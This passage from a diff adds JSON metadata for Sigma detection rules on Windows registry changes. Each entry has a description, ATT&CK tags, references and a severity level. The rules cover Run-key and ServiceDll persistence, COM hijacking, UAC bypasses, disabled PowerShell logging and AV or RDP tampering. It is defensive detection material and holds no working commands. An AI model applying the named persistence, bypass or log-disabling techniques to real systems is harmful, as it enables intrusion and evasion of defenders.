"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_policies_attachments_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects that a powershell code is written to the registry as a service.", + "uuid": "4a5f5a5e-ac01-474b-9b4e-d61298c9df1d", + "value": "PowerShell as a Service in Registry", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "registry_set_powershell_as_service.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adds a RUN key that contains a powershell keyword", + "uuid": "8d85cf08-bf97-4260-ba49-986a2a65129c", + "value": "Powershell in Windows Run Keys", + "meta": { + "refs": [ + "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry", + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2022/03/17", + "filename": "registry_set_powershell_in_run_keys.yml", + "author": "frack113, Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate admin or third party scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry of the currently logged in user to disable PowerShell module logging, script block logging or transcription and script execution logging", + "uuid": "fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7", + "value": "PowerShell Logging Disabled", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/04/02", + "filename": "registry_set_powershell_logging_disabled.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a new custom protocole handler is registered", + "uuid": "fdbf0b9d-0182-4c43-893b-a1eaab92d085", + "value": "Newly Registered Protocol Handler", + "meta": { + "refs": [ + "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_register_custom_protocol_handler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/05/30", + "filename": "registry_set_register_custom_protocol_handler.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate applications registering a new custom protocol handler" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution", + "uuid": "8023f872-3f1d-4301-a384-801889917ab4", + "value": "Usage of Renamed Sysinternals Tools - RegistrySet", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2022/08/24", + "filename": "registry_set_renamed_sysinternals_eula_accepted.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", + "uuid": "fe20dda1-6f37-4379-bbe0-a98d400cae90", + "value": "Scrobj.dll COM Hijacking", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scrobj_dll_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/08/20", + "filename": "registry_set_scrobj_dll_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use of the dll." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl", + "uuid": "40b6e656-4e11-4c0c-8772-c1cc6dae34ce", + "value": "ScreenSaver Registry Key Set", + "meta": { + "refs": [ + "https://twitter.com/VakninHai/status/1517027824984547329", + "https://twitter.com/pabraeken/status/998627081360695297", + "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2022/05/04", + "filename": "registry_set_scr_file_executed_by_rundll32.yml", + "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", + "level": "medium", + "falsepositive": [ + "Legitimate use of screen saver" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.", + "uuid": "612e47e9-8a59-43a6-b404-f48683f45bd6", + "value": "ServiceDll Hijack", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/02/04", + "filename": "registry_set_servicedll_hijack.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts", + "Installation of a service" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", + "uuid": "1c3121ed-041b-4d97-a075-07f54f20fb4a", + "value": "Registry Explorer Policy Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/03/18", + "filename": "registry_set_set_nopolicies_user.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", + "uuid": "dfb5b4e8-91d0-4291-b40a-e3b0d3942c45", + "value": "Registry Key Creation or Modification for Shim DataBase", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_shim_databases_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.011" + ], + "creation_date": "2021/12/30", + "filename": "registry_set_shim_databases_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process", + "uuid": "c81fe886-cac0-4913-a511-2822d72ff505", + "value": "SilentProcessExit Monitor Registration", + "meta": { + "refs": [ + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_silentprocessexit.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.012" + ], + "creation_date": "2021/02/26", + "filename": "registry_set_silentprocessexit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", + "uuid": "5a2b21ee-6aaa-4234-ac9d-59a59edf90a1", + "value": "Persistence Via New SIP Provider", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/codesigning.html", + "https://github.com/gtworek/PSBits/tree/master/SIP", + "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1553.003" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_sip_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate SIP being registered by the OS or different software." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tamper attempts to sophos av functionality via registry key modification", + "uuid": "9f4662ac-17ca-43aa-8f12-5d7b989d0101", + "value": "Tamper With Sophos AV Registry Keys", + "meta": { + "refs": [ + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamaper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/02", + "filename": "registry_set_sophos_av_tamaper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some FP may occure when the feature is disabled by the AV itself, you should always investigate if the action was legitimate" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker set the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" to \"0\" in order to hide user account.", + "uuid": "f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd", + "value": "Hide User Account Via Special Accounts Reg Key", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ], + "creation_date": "2022/07/12", + "filename": "registry_set_special_accounts.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", + "uuid": "0c93308a-3f1b-40a9-b649-57ea1a1c1d63", + "value": "Disable Windows Security Center Notifications", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_suppress_defender_notifications.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", + "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6", + "value": "Suspicious Values In App Paths Default Property", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", + "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_app_paths_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.012" + ], + "creation_date": "2022/08/10", + "filename": "registry_set_susp_app_paths_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", + "uuid": "34aa0252-6039-40ff-951f-939fd6ce47d8", + "value": "Suspicious Keyboard Layout Load", + "meta": { + "refs": [ + "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", + "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2019/10/12", + "filename": "registry_set_susp_keyboard_layout_load.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious printer driver installation with an empty Manufacturer value", + "uuid": "e0813366-0407-449a-9869-a2db1119dc41", + "value": "Suspicious Printer Driver Empty Manufacturer", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1410545674773467140", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675" + ], + "creation_date": "2020/07/01", + "filename": "registry_set_susp_printer_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", + "uuid": "b7916c2a-fa2f-4795-9477-32b731f70f11", + "value": "Registry Persistence via Explorer Run Key", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2018/07/18", + "filename": "registry_set_susp_reg_persist_explorer_run.yml", + "author": "Florian Roth, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", + "uuid": "02ee49e2-e294-4d0f-9278-f5b3212fc588", + "value": "New RUN Key Pointing to Suspicious Folder", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2018/08/25", + "filename": "registry_set_susp_run_key_img_folder.yml", + "author": "Florian Roth, Markus Neis, Sander Wiebing", + "level": "high", + "falsepositive": [ + "Software using weird folders for updates" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n", + "uuid": "f2485272-a156-4773-82d7-1d178bc4905b", + "value": "Suspicious Service Installed", + "meta": { + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml" + ], + "tags": [ + "attack.t1562.001", + "attack.defense_evasion" + ], + "creation_date": "2019/04/08", + "filename": "registry_set_susp_service_installed.yml", + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "level": "medium", + "falsepositive": [ + "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup", + "uuid": "9c226817-8dc9-46c2-a58d-66655aafd7dc", + "value": "Modify User Shell Folders Startup Value", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.001" + ], + "creation_date": "2022/10/01", + "filename": "registry_set_susp_user_shell_folders.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", + "uuid": "4720b7df-40c3-48fd-bbdf-fd4b3c464f0d", + "value": "Scheduled TaskCache Change by Uncommon Program", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://labs.f-secure.com/blog/scheduled-task-tampering/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.t1053.005" + ], + "creation_date": "2021/06/18", + "filename": "registry_set_taskcache_entry.yml", + "author": "Syed Hasan (@syedhasan009)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence method using windows telemetry", + "uuid": "73a883d0-0348-4be4-a8d8-51031c2564f8", + "value": "Registry Persistence Mechanism via Windows Telemetry", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2020/10/16", + "filename": "registry_set_telemetry_persistence.yml", + "author": "Lednyov Alexey, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", + "uuid": "a2863fbc-d5cb-48d5-83fb-d976d4b1743b", + "value": "RDP Sensitive Settings Changed", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2022/09/29", + "filename": "registry_set_terminal_server_suspicious.yml", + "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", + "uuid": "3f6b7b62-61aa-45db-96bd-9c31b36b653c", + "value": "RDP Sensitive Settings Changed", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2022/08/06", + "filename": "registry_set_terminal_server_tampering.yml", + "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n", + "uuid": "e88a6ddc-74f7-463b-9b26-f69fc0d2ce85", + "value": "Set TimeProviders DllName", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.003" + ], + "creation_date": "2022/06/19", + "filename": "registry_set_timeproviders_dllname.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", + "uuid": "dc5c24af-6995-49b2-86eb-a9ff62199e82", + "value": "COM Hijacking via TreatAs", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/08/28", + "filename": "registry_set_treatas_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects UAC bypass method using Windows event viewer", + "uuid": "7c81fec3-1c1d-43b0-996a-46753041b1b6", + "value": "UAC Bypass via Event Viewer", + "meta": { + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2017/03/19", + "filename": "registry_set_uac_bypass_eventvwr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", + "uuid": "5b872a46-3b90-45c1-8419-f675db8053aa", + "value": "UAC Bypass via Sdclt", + "meta": { + "refs": [ + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2017/03/17", + "filename": "registry_set_uac_bypass_sdclt.yml", + "author": "Omer Yampel, Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "uuid": "6597be7b-ac61-4ac8-bef4-d3ec88174853", + "value": "UAC Bypass Abusing Winsat Path Parsing - Registry", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "registry_set_uac_bypass_winsat.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "uuid": "5f9db380-ea57-4d1e-beab-8a2d33397e93", + "value": "UAC Bypass Using Windows Media Player - Registry", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "registry_set_uac_bypass_wmp.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", + "uuid": "46490193-1b22-4c29-bdd6-5bf63907216f", + "value": "VBScript Payload Stored in Registry", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/03/05", + "filename": "registry_set_vbs_payload_stored.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", + "uuid": "fc014922-5def-4da9-a0fc-28c973f41bfb", + "value": "Execution DLL of Choice Using WAB.EXE", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", + "https://twitter.com/Hexacorn/status/991447379864932352", + "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/13", + "filename": "registry_set_wab_dllpath_reg_change.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } 